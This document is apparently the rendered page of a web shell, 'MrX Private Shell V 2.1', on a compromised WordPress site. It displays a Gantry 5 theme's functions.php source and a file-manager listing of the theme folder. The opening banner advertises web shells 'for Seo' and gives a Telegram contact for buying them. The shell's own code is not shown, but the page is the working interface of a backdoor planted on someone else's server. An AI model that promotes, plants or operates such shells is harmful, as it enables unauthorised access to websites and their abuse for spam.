__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Gantry 5 Theme
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2022 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
use Gantry\Framework\Theme;
defined('ABSPATH') or die;
/*
* WARNING: This file will be overridden during theme update. Do not change this file!
*
* If you want to add your custom functions, put your code into `custom/functions.php` instead!
*/
// Note: This file must be PHP 5.6 compatible.
// Check min. required version of Gantry 5
$requiredGantryVersion = '5.5';
$translationDomain = 'g5_helium';
// Bootstrap Gantry framework or fail gracefully.
$gantry_include = locate_template('/custom/includes/gantry.php') ?: locate_template('/includes/gantry.php');
if (!$gantry_include) {
wp_die('Gantry theme is missing a file: includes/gantry.php');
}
$gantry = require $gantry_include;
if (!$gantry) {
return;
}
if (!$gantry->isCompatible($requiredGantryVersion)) {
$current_theme = wp_get_theme();
$error = sprintf(__('Please upgrade Gantry 5 Framework to v%s (or later) before using %s theme!', $translationDomain), strtoupper($requiredGantryVersion), $current_theme->get('Name'));
if(is_admin()) {
add_action('admin_notices', static function () use ($error) {
echo '<div class="error"><p>' . $error . '</p></div>';
});
} else {
wp_die($error);
}
}
/** @var Theme $theme */
$theme = $gantry['theme'];
// Theme helper files that can contain useful methods or filters
$helpers = array(
'includes/helper.php', // General helper file
);
// Require custom Functions if the file exists (allows overriding helpers).
if ($customInclude = locate_template('custom/functions.php')) {
require $customInclude;
}
foreach ($helpers as $file) {
if (!$filepath = locate_template($file)) {
trigger_error(sprintf(__('Error locating %s for inclusion', $translationDomain), $file), E_USER_ERROR);
}
require $filepath;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin | Folder | 0775 |
|
|
| blueprints | Folder | 0775 |
|
|
| config | Folder | 0775 |
|
|
| custom | Folder | 0775 |
|
|
| fonts | Folder | 0775 |
|
|
| gantry | Folder | 0775 |
|
|
| images | Folder | 0775 |
|
|
| includes | Folder | 0775 |
|
|
| install | Folder | 0775 |
|
|
| js | Folder | 0775 |
|
|
| languages | Folder | 0775 |
|
|
| layouts | Folder | 0775 |
|
|
| particles | Folder | 0775 |
|
|
| scss | Folder | 0775 |
|
|
| views | Folder | 0775 |
|
|
| 404.php | File | 769 B | 0775 |
|
| MD5SUMS | File | 21.47 KB | 0775 |
|
| archive.php | File | 1.81 KB | 0775 |
|
| author.php | File | 1.03 KB | 0775 |
|
| bbpress.php | File | 852 B | 0775 |
|
| buddypress.php | File | 852 B | 0775 |
|
| comments.php | File | 658 B | 0775 |
|
| footer.php | File | 785 B | 0775 |
|
| functions.example.php | File | 630 B | 0775 |
|
| functions.php | File | 2 KB | 0775 |
|
| header.php | File | 895 B | 0775 |
|
| index.php | File | 1.94 KB | 0775 |
|
| install.php | File | 944 B | 0775 |
|
| offline.php | File | 770 B | 0775 |
|
| page.php | File | 1.28 KB | 0775 |
|
| screenshot.jpg | File | 57.77 KB | 0775 |
|
| search.php | File | 915 B | 0775 |
|
| searchform.php | File | 437 B | 0775 |
|
| sidebar.php | File | 412 B | 0775 |
|
| single.php | File | 933 B | 0775 |
|
| style.css | File | 184 B | 0775 |
|